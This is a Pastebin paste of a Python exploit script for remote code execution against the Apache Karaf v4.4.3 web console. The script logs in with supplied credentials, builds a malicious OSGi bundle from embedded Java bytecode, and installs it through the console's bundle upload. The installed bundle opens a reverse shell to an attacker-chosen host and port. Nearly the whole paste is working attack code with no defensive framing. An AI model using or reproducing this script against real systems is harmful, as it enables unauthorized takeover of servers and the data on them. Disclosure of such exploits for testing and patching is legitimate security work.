FlyFar

Karaf v4.4.3 Console - RCE

Mar 21st, 2024
43
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.87 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. # Exploit Title: [Karaf v4.4.3 Console RCE]
  4. # Date: [2023-08-07]
  5. # Exploit Author: [Andrzej Olchawa, Milenko Starcik,
  6. #                  VisionSpace Technologies GmbH]
  7. # Exploit Repository:
  8. #           [https://github.com/visionspacetec/offsec-karaf-exploits.git]
  9. # Vendor Homepage: [https://karaf.apache.org]
  10. # Software Link: [https://karaf.apache.org/download.html]
  11. # Version: [4.4.3]
  12. # Tested on: [Linux kali 6.3.0-kali1-amd64]
  13. # License: [MIT]
  14. #
  15. # Usage:
  16. # python exploit.py --help
  17. #
  18. # Example:
  19. # python exploit.py --rhost=192.168.0.133 --rport=1337 \
  20. #                   --lhost=192.168.0.100 --lport=4444 \
  21. #                   --creds=karaf:karaf
  22.  
  23.  
  24. """
  25. This tool will let you open a reverse shell from the system
  26. that is running Karaf Console",
  27. """
  28. import argparse
  29. import base64
  30. import io
  31. import re
  32. import zipfile
  33. import requests
  34.  
  35. # Content of the MANIFEST.MF file.
  36. MANIFEST_CONTENT = \
  37.     "Bundle-Name: RevShell\n" \
  38.     "Bundle-Description: Bundle openning a reverse shell connection.\n" \
  39.     "Bundle-SymbolicName: com.visionspace.osgi.revshell.Activator\n" \
  40.     "Bundle-Vendor: VisionSpace\n" \
  41.     "Bundle-Version: 1.0.0\n" \
  42.     "Import-Package: org.osgi.framework\n" \
  43.     "Bundle-Activator: com.visionspace.osgi.revshell.Activator"
  44.  
  45. # Activator.class bytecode template.
  46. ACTIVATOR_CLASS_BYTECODE_TEMPLATE = \
  47.     b"\xca\xfe\xba\xbe\x00\x00\x00\x37\x00\x7b" \
  48.     b"\x0a\x00\x22\x00\x33\x08\x00\x34\x07\x00" \
  49.     b"\x35\x07\x00\x36\x0a\x00\x03\x00\x37\x0a" \
  50.     b"\x00\x03\x00\x38\x0a\x00\x03\x00\x39\x07" \
  51.     b"\x00\x3a\x08\x00\x3b\x08\x00\x3c\x0a\x00" \
  52.     b"\x3d\x00\x3e\x0a\x00\x08\x00\x3f\x0a\x00" \
  53.     b"\x2c\x00\x40\x0a\x00\x2c\x00\x41\x0a\x00" \
  54.     b"\x08\x00\x40\x0a\x00\x2c\x00\x42\x0a\x00" \
  55.     b"\x08\x00\x42\x0a\x00\x08\x00\x43\x0a\x00" \
  56.     b"\x2d\x00\x44\x0a\x00\x2d\x00\x45\x0a\x00" \
  57.     b"\x2e\x00\x46\x0a\x00\x2e\x00\x47\x05\x00" \
  58.     b"\x00\x00\x00\x00\x00\x00\x32\x0a\x00\x48" \
  59.     b"\x00\x49\x0a\x00\x2c\x00\x4a\x07\x00\x4b" \
  60.     b"\x0a\x00\x2c\x00\x4c\x0a\x00\x08\x00\x4d" \
  61.     b"\x09\x00\x4e\x00\x4f\x08\x00\x50\x0a\x00" \
  62.     b"\x51\x00\x52\x07\x00\x53\x07\x00\x54\x07" \
  63.     b"\x00\x55\x01\x00\x06\x3c\x69\x6e\x69\x74" \
  64.     b"\x3e\x01\x00\x03\x28\x29\x56\x01\x00\x04" \
  65.     b"\x43\x6f\x64\x65\x01\x00\x0f\x4c\x69\x6e" \
  66.     b"\x65\x4e\x75\x6d\x62\x65\x72\x54\x61\x62" \
  67.     b"\x6c\x65\x01\x00\x05\x73\x74\x61\x72\x74" \
  68.     b"\x01\x00\x25\x28\x4c\x6f\x72\x67\x2f\x6f" \
  69.     b"\x73\x67\x69\x2f\x66\x72\x61\x6d\x65\x77" \
  70.     b"\x6f\x72\x6b\x2f\x42\x75\x6e\x64\x6c\x65" \
  71.     b"\x43\x6f\x6e\x74\x65\x78\x74\x3b\x29\x56" \
  72.     b"\x01\x00\x0d\x53\x74\x61\x63\x6b\x4d\x61" \
  73.     b"\x70\x54\x61\x62\x6c\x65\x07\x00\x56\x07" \
  74.     b"\x00\x57\x07\x00\x58\x07\x00\x59\x01\x00" \
  75.     b"\x0a\x45\x78\x63\x65\x70\x74\x69\x6f\x6e" \
  76.     b"\x73\x01\x00\x04\x73\x74\x6f\x70\x01\x00" \
  77.     b"\x0a\x53\x6f\x75\x72\x63\x65\x46\x69\x6c" \
  78.     b"\x65\x01\x00\x0e\x41\x63\x74\x69\x76\x61" \
  79.     b"\x74\x6f\x72\x2e\x6a\x61\x76\x61\x0c\x00" \
  80.     b"\x24\x00\x25\x01\x00\x02\x73\x68\x01\x00" \
  81.     b"\x18\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" \
  82.     b"\x2f\x50\x72\x6f\x63\x65\x73\x73\x42\x75" \
  83.     b"\x69\x6c\x64\x65\x72\x01\x00\x10\x6a\x61" \
  84.     b"\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74" \
  85.     b"\x72\x69\x6e\x67\x0c\x00\x24\x00\x5a\x0c" \
  86.     b"\x00\x5b\x00\x5c\x0c\x00\x28\x00\x5d\x01" \
  87.     b"\x00\x0f\x6a\x61\x76\x61\x2f\x6e\x65\x74" \
  88.     b"\x2f\x53\x6f\x63\x6b\x65\x74\x01\x00\x07" \
  89.     b"\x3c\x4c\x48\x4f\x53\x54\x3e\x01\x00\x07" \
  90.     b"\x3c\x4c\x50\x4f\x52\x54\x3e\x07\x00\x5e" \
  91.     b"\x0c\x00\x5f\x00\x60\x0c\x00\x24\x00\x61" \
  92.     b"\x0c\x00\x62\x00\x63\x0c\x00\x64\x00\x63" \
  93.     b"\x0c\x00\x65\x00\x66\x0c\x00\x67\x00\x68" \
  94.     b"\x0c\x00\x69\x00\x6a\x0c\x00\x6b\x00\x6a" \
  95.     b"\x0c\x00\x6c\x00\x6d\x0c\x00\x6e\x00\x25" \
  96.     b"\x07\x00\x6f\x0c\x00\x70\x00\x71\x0c\x00" \
  97.     b"\x72\x00\x6a\x01\x00\x13\x6a\x61\x76\x61" \
  98.     b"\x2f\x6c\x61\x6e\x67\x2f\x45\x78\x63\x65" \
  99.     b"\x70\x74\x69\x6f\x6e\x0c\x00\x73\x00\x25" \
  100.     b"\x0c\x00\x74\x00\x25\x07\x00\x75\x0c\x00" \
  101.     b"\x76\x00\x77\x01\x00\x1d\x54\x68\x61\x6e" \
  102.     b"\x6b\x20\x79\x6f\x75\x20\x66\x6f\x72\x20" \
  103.     b"\x70\x77\x6e\x69\x6e\x67\x20\x77\x69\x74" \
  104.     b"\x68\x20\x75\x73\x21\x07\x00\x78\x0c\x00" \
  105.     b"\x79\x00\x7a\x01\x00\x27\x63\x6f\x6d\x2f" \
  106.     b"\x76\x69\x73\x69\x6f\x6e\x73\x70\x61\x63" \
  107.     b"\x65\x2f\x6f\x73\x67\x69\x2f\x72\x65\x76" \
  108.     b"\x73\x68\x65\x6c\x6c\x2f\x41\x63\x74\x69" \
  109.     b"\x76\x61\x74\x6f\x72\x01\x00\x10\x6a\x61" \
  110.     b"\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62" \
  111.     b"\x6a\x65\x63\x74\x01\x00\x22\x6f\x72\x67" \
  112.     b"\x2f\x6f\x73\x67\x69\x2f\x66\x72\x61\x6d" \
  113.     b"\x65\x77\x6f\x72\x6b\x2f\x42\x75\x6e\x64" \
  114.     b"\x6c\x65\x41\x63\x74\x69\x76\x61\x74\x6f" \
  115.     b"\x72\x01\x00\x20\x6f\x72\x67\x2f\x6f\x73" \
  116.     b"\x67\x69\x2f\x66\x72\x61\x6d\x65\x77\x6f" \
  117.     b"\x72\x6b\x2f\x42\x75\x6e\x64\x6c\x65\x43" \
  118.     b"\x6f\x6e\x74\x65\x78\x74\x01\x00\x11\x6a" \
  119.     b"\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x50" \
  120.     b"\x72\x6f\x63\x65\x73\x73\x01\x00\x13\x6a" \
  121.     b"\x61\x76\x61\x2f\x69\x6f\x2f\x49\x6e\x70" \
  122.     b"\x75\x74\x53\x74\x72\x65\x61\x6d\x01\x00" \
  123.     b"\x14\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x4f" \
  124.     b"\x75\x74\x70\x75\x74\x53\x74\x72\x65\x61" \
  125.     b"\x6d\x01\x00\x16\x28\x5b\x4c\x6a\x61\x76" \
  126.     b"\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72" \
  127.     b"\x69\x6e\x67\x3b\x29\x56\x01\x00\x13\x72" \
  128.     b"\x65\x64\x69\x72\x65\x63\x74\x45\x72\x72" \
  129.     b"\x6f\x72\x53\x74\x72\x65\x61\x6d\x01\x00" \
  130.     b"\x1d\x28\x5a\x29\x4c\x6a\x61\x76\x61\x2f" \
  131.     b"\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63\x65" \
  132.     b"\x73\x73\x42\x75\x69\x6c\x64\x65\x72\x3b" \
  133.     b"\x01\x00\x15\x28\x29\x4c\x6a\x61\x76\x61" \
  134.     b"\x2f\x6c\x61\x6e\x67\x2f\x50\x72\x6f\x63" \
  135.     b"\x65\x73\x73\x3b\x01\x00\x11\x6a\x61\x76" \
  136.     b"\x61\x2f\x6c\x61\x6e\x67\x2f\x49\x6e\x74" \
  137.     b"\x65\x67\x65\x72\x01\x00\x08\x70\x61\x72" \
  138.     b"\x73\x65\x49\x6e\x74\x01\x00\x15\x28\x4c" \
  139.     b"\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f" \
  140.     b"\x53\x74\x72\x69\x6e\x67\x3b\x29\x49\x01" \
  141.     b"\x00\x16\x28\x4c\x6a\x61\x76\x61\x2f\x6c" \
  142.     b"\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" \
  143.     b"\x3b\x49\x29\x56\x01\x00\x0e\x67\x65\x74" \
  144.     b"\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61" \
  145.     b"\x6d\x01\x00\x17\x28\x29\x4c\x6a\x61\x76" \
  146.     b"\x61\x2f\x69\x6f\x2f\x49\x6e\x70\x75\x74" \
  147.     b"\x53\x74\x72\x65\x61\x6d\x3b\x01\x00\x0e" \
  148.     b"\x67\x65\x74\x45\x72\x72\x6f\x72\x53\x74" \
  149.     b"\x72\x65\x61\x6d\x01\x00\x0f\x67\x65\x74" \
  150.     b"\x4f\x75\x74\x70\x75\x74\x53\x74\x72\x65" \
  151.     b"\x61\x6d\x01\x00\x18\x28\x29\x4c\x6a\x61" \
  152.     b"\x76\x61\x2f\x69\x6f\x2f\x4f\x75\x74\x70" \
  153.     b"\x75\x74\x53\x74\x72\x65\x61\x6d\x3b\x01" \
  154.     b"\x00\x08\x69\x73\x43\x6c\x6f\x73\x65\x64" \
  155.     b"\x01\x00\x03\x28\x29\x5a\x01\x00\x09\x61" \
  156.     b"\x76\x61\x69\x6c\x61\x62\x6c\x65\x01\x00" \
  157.     b"\x03\x28\x29\x49\x01\x00\x04\x72\x65\x61" \
  158.     b"\x64\x01\x00\x05\x77\x72\x69\x74\x65\x01" \
  159.     b"\x00\x04\x28\x49\x29\x56\x01\x00\x05\x66" \
  160.     b"\x6c\x75\x73\x68\x01\x00\x10\x6a\x61\x76" \
  161.     b"\x61\x2f\x6c\x61\x6e\x67\x2f\x54\x68\x72" \
  162.     b"\x65\x61\x64\x01\x00\x05\x73\x6c\x65\x65" \
  163.     b"\x70\x01\x00\x04\x28\x4a\x29\x56\x01\x00" \
  164.     b"\x09\x65\x78\x69\x74\x56\x61\x6c\x75\x65" \
  165.     b"\x01\x00\x07\x64\x65\x73\x74\x72\x6f\x79" \
  166.     b"\x01\x00\x05\x63\x6c\x6f\x73\x65\x01\x00" \
  167.     b"\x10\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67" \
  168.     b"\x2f\x53\x79\x73\x74\x65\x6d\x01\x00\x03" \
  169.     b"\x6f\x75\x74\x01\x00\x15\x4c\x6a\x61\x76" \
  170.     b"\x61\x2f\x69\x6f\x2f\x50\x72\x69\x6e\x74" \
  171.     b"\x53\x74\x72\x65\x61\x6d\x3b\x01\x00\x13" \
  172.     b"\x6a\x61\x76\x61\x2f\x69\x6f\x2f\x50\x72" \
  173.     b"\x69\x6e\x74\x53\x74\x72\x65\x61\x6d\x01" \
  174.     b"\x00\x07\x70\x72\x69\x6e\x74\x6c\x6e\x01" \
  175.     b"\x00\x15\x28\x4c\x6a\x61\x76\x61\x2f\x6c" \
  176.     b"\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67" \
  177.     b"\x3b\x29\x56\x00\x21\x00\x21\x00\x22\x00" \
  178.     b"\x01\x00\x23\x00\x00\x00\x03\x00\x01\x00" \
  179.     b"\x24\x00\x25\x00\x01\x00\x26\x00\x00\x00" \
  180.     b"\x1d\x00\x01\x00\x01\x00\x00\x00\x05\x2a" \
  181.     b"\xb7\x00\x01\xb1\x00\x00\x00\x01\x00\x27" \
  182.     b"\x00\x00\x00\x06\x00\x01\x00\x00\x00\x0a" \
  183.     b"\x00\x01\x00\x28\x00\x29\x00\x02\x00\x26" \
  184.     b"\x00\x00\x01\x6e\x00\x06\x00\x0b\x00\x00" \
  185.     b"\x00\xb8\x12\x02\x4d\xbb\x00\x03\x59\x04" \
  186.     b"\xbd\x00\x04\x59\x03\x2c\x53\xb7\x00\x05" \
  187.     b"\x04\xb6\x00\x06\xb6\x00\x07\x4e\xbb\x00" \
  188.     b"\x08\x59\x12\x09\x12\x0a\xb8\x00\x0b\xb7" \
  189.     b"\x00\x0c\x3a\x04\x2d\xb6\x00\x0d\x3a\x05" \
  190.     b"\x2d\xb6\x00\x0e\x3a\x06\x19\x04\xb6\x00" \
  191.     b"\x0f\x3a\x07\x2d\xb6\x00\x10\x3a\x08\x19" \
  192.     b"\x04\xb6\x00\x11\x3a\x09\x19\x04\xb6\x00" \
  193.     b"\x12\x9a\x00\x5f\x19\x05\xb6\x00\x13\x9e" \
  194.     b"\x00\x10\x19\x09\x19\x05\xb6\x00\x14\xb6" \
  195.     b"\x00\x15\xa7\xff\xee\x19\x06\xb6\x00\x13" \
  196.     b"\x9e\x00\x10\x19\x09\x19\x06\xb6\x00\x14" \
  197.     b"\xb6\x00\x15\xa7\xff\xee\x19\x07\xb6\x00" \
  198.     b"\x13\x9e\x00\x10\x19\x08\x19\x07\xb6\x00" \
  199.     b"\x14\xb6\x00\x15\xa7\xff\xee\x19\x09\xb6" \
  200.     b"\x00\x16\x19\x08\xb6\x00\x16\x14\x00\x17" \
  201.     b"\xb8\x00\x19\x2d\xb6\x00\x1a\x57\xa7\x00" \
  202.     b"\x08\x3a\x0a\xa7\xff\x9f\x2d\xb6\x00\x1c" \
  203.     b"\x19\x04\xb6\x00\x1d\xb1\x00\x01\x00\xa1" \
  204.     b"\x00\xa6\x00\xa9\x00\x1b\x00\x02\x00\x27" \
  205.     b"\x00\x00\x00\x66\x00\x19\x00\x00\x00\x0c" \
  206.     b"\x00\x03\x00\x0e\x00\x1a\x00\x0f\x00\x2a" \
  207.     b"\x00\x10\x00\x30\x00\x11\x00\x36\x00\x12" \
  208.     b"\x00\x3d\x00\x13\x00\x43\x00\x14\x00\x4a" \
  209.     b"\x00\x15\x00\x52\x00\x16\x00\x5a\x00\x17" \
  210.     b"\x00\x67\x00\x18\x00\x6f\x00\x19\x00\x7c" \
  211.     b"\x00\x1a\x00\x84\x00\x1b\x00\x91\x00\x1c" \
  212.     b"\x00\x96\x00\x1d\x00\x9b\x00\x1e\x00\xa1" \
  213.     b"\x00\x20\x00\xa6\x00\x21\x00\xa9\x00\x22" \
  214.     b"\x00\xab\x00\x23\x00\xae\x00\x25\x00\xb2" \
  215.     b"\x00\x26\x00\xb7\x00\x27\x00\x2a\x00\x00" \
  216.     b"\x00\x30\x00\x07\xff\x00\x4a\x00\x0a\x07" \
  217.     b"\x00\x21\x07\x00\x2b\x07\x00\x04\x07\x00" \
  218.     b"\x2c\x07\x00\x08\x07\x00\x2d\x07\x00\x2d" \
  219.     b"\x07\x00\x2d\x07\x00\x2e\x07\x00\x2e\x00" \
  220.     b"\x00\x07\x14\x14\x14\x57\x07\x00\x1b\x04" \
  221.     b"\x00\x2f\x00\x00\x00\x04\x00\x01\x00\x1b" \
  222.     b"\x00\x01\x00\x30\x00\x29\x00\x02\x00\x26" \
  223.     b"\x00\x00\x00\x25\x00\x02\x00\x02\x00\x00" \
  224.     b"\x00\x09\xb2\x00\x1e\x12\x1f\xb6\x00\x20" \
  225.     b"\xb1\x00\x00\x00\x01\x00\x27\x00\x00\x00" \
  226.     b"\x0a\x00\x02\x00\x00\x00\x2a\x00\x08\x00" \
  227.     b"\x2b\x00\x2f\x00\x00\x00\x04\x00\x01\x00" \
  228.     b"\x1b\x00\x01\x00\x31\x00\x00\x00\x02\x00" \
  229.     b"\x32"
  230.  
  231. # Items to be replaces within the bytecode of Activator.class
  232. # <LEN><LHOST> = <\x07><\x3c\x4c\x48\x4f\x53\x54\x3e>
  233. ACTIVATOR_CLASS_LHOST_TAG = b"\x07\x3c\x4c\x48\x4f\x53\x54\x3e"
  234. # <LEN><LPORT> = <\x07><\x3c\x4c\x50\x4f\x52\x54\x3e>
  235. ACTIVATOR_CLASS_LPORT_TAG = b"\x07\x3c\x4c\x50\x4f\x52\x54\x3e"
  236.  
  237.  
  238. def parse():
  239.     """
  240.    This function parses the command-line arguments.
  241.    """
  242.  
  243.     parser = argparse.ArgumentParser(
  244.         prog="Karaf-Console-RCE",
  245.         description="This tool will let you open a reverse shell from the "
  246.                     "system that is running Karaf Console",
  247.         epilog="Happy Hacking! :)",
  248.     )
  249.  
  250.     parser.add_argument("--rhost", dest="rhost",
  251.                         help="remote host", type=str, required=True)
  252.     parser.add_argument("--rport", dest="rport",
  253.                         help="remote port", type=int, required=True)
  254.     parser.add_argument("--lhost", dest="lhost",
  255.                         help="local host", type=str, required=True)
  256.     parser.add_argument("--lport", dest="lport",
  257.                         help="local port", type=int, required=True)
  258.     parser.add_argument("--creds", dest="creds",
  259.                         help="credentials in format <username:password>",
  260.                         type=str, required=True)
  261.     parser.add_argument("--version", action="version",
  262.                         version="%(prog)s 0.1.0")
  263.  
  264.     return parser.parse_args()
  265.  
  266.  
  267. def extract_jsessionid(cookie):
  268.     """
  269.    This function extracts the JSESSIONID from the cookie string.
  270.    """
  271.  
  272.     jsessionid = None
  273.  
  274.     regex = re.findall("JSESSIONID=([^;]+)", cookie)
  275.     if len(regex) > 0:
  276.         jsessionid = regex[0]
  277.  
  278.     return jsessionid
  279.  
  280.  
  281. def authenticate(target, basic_auth):
  282.     """
  283.    This function connects to the URL and retrieves the JSESSIONID
  284.    based on the Basic Authorization.
  285.    """
  286.  
  287.     jsessionid = None
  288.  
  289.     headers = {
  290.         "Authorization": basic_auth
  291.     }
  292.  
  293.     response = requests.get(target, headers=headers,
  294.                             allow_redirects=False, timeout=10)
  295.  
  296.     if (response.status_code == 302 and response.headers["Set-Cookie"]):
  297.         jsessionid = extract_jsessionid(response.headers["Set-Cookie"])
  298.  
  299.     return jsessionid
  300.  
  301.  
  302. def generate_payload(lhost, lport):
  303.     """
  304.    This function generates the payload.
  305.    It replaces the template payload with the `lhost` and `lport` arguments.
  306.    """
  307.  
  308.     payload = None
  309.  
  310.     lhost_byte_array = bytearray()
  311.     lhost_byte_array.append(len(lhost))
  312.     lhost_byte_array.extend(map(ord, lhost))
  313.  
  314.     activator_class_bytecodes = ACTIVATOR_CLASS_BYTECODE_TEMPLATE.replace(
  315.         ACTIVATOR_CLASS_LHOST_TAG, lhost_byte_array)
  316.  
  317.     lport_str = str(lport)
  318.     lport_byte_array = bytearray()
  319.     lport_byte_array.append(len(lport_str))
  320.     lport_byte_array.extend(map(ord, lport_str))
  321.  
  322.     activator_class_bytecodes = activator_class_bytecodes.replace(
  323.         ACTIVATOR_CLASS_LPORT_TAG, lport_byte_array)
  324.  
  325.     jar_bytes = io.BytesIO()
  326.  
  327.     with zipfile.ZipFile(jar_bytes, "w", zipfile.ZIP_DEFLATED) as zip_file:
  328.         zip_file.writestr("com/visionspace/osgi/revshell/Activator.class",
  329.                           activator_class_bytecodes)
  330.         zip_file.writestr("META-INF/MANIFEST.MF", MANIFEST_CONTENT)
  331.  
  332.     payload = jar_bytes.getvalue()
  333.  
  334.     return payload
  335.  
  336.  
  337. def deploy_payload(target, basic_auth, jsessionid, payload):
  338.     """
  339.    This function connects to the Karaf Console and deployes the payload.
  340.    """
  341.  
  342.     success = False
  343.  
  344.     url = f"{target}/bundles"
  345.  
  346.     cookies = {
  347.         "JSESSIONID": jsessionid
  348.     }
  349.  
  350.     headers = {
  351.         "Authorization": basic_auth
  352.     }
  353.  
  354.     files = {
  355.         "bundlefile": (
  356.             "revshell.jar", payload, "application/x-java-archive")
  357.     }
  358.  
  359.     data = {
  360.         "action": "install",
  361.         "bundlestart": "start",
  362.         "bundlestartlevel": 80
  363.     }
  364.  
  365.     response = requests.post(url, headers=headers, cookies=cookies,
  366.                              files=files, data=data, timeout=10,
  367.                              allow_redirects=False)
  368.  
  369.     if response.status_code == 302:
  370.         success = True
  371.  
  372.     return success
  373.  
  374.  
  375. def generate_basic_auth(creds):
  376.     """
  377.    This function generates the Basic Authorization string based
  378.    on the credentials.
  379.    """
  380.  
  381.     creds_base64 = base64.b64encode(creds.encode()).decode()
  382.     basic_auth = f"Basic {creds_base64}"
  383.  
  384.     return basic_auth
  385.  
  386.  
  387. def create_target_url(rhost, rport):
  388.     """
  389.    This function creates a target URL.
  390.    """
  391.  
  392.     target_url = f"http://{rhost}:{rport}/system/console"
  393.  
  394.     return target_url
  395.  
  396.  
  397. def main(args):
  398.     """
  399.    Main function.
  400.    """
  401.  
  402.     target = create_target_url(args.rhost, args.rport)
  403.  
  404.     print("[*] Login...")
  405.     basic_auth = generate_basic_auth(args.creds)
  406.     jsessionid = authenticate(target, basic_auth)
  407.  
  408.     if jsessionid:
  409.         print("[+] Session established.")
  410.  
  411.         print("[*] Generating payload...")
  412.         payload = generate_payload(args.lhost, args.lport)
  413.  
  414.         if payload:
  415.             print("[*] Deploying payload...")
  416.             if deploy_payload(target, basic_auth, jsessionid, payload):
  417.                 print("[+] Done.")
  418.             else:
  419.                 print("[-] Failed to deploy the payload!")
  420.         else:
  421.             print("[-] Failed to generate the payload!")
  422.     else:
  423.         print("[-] Login failed!")
  424.  
  425.  
  426. if __name__ == "__main__":
  427.     main(parse())
  428.            
Add Comment
Please, Sign In to add comment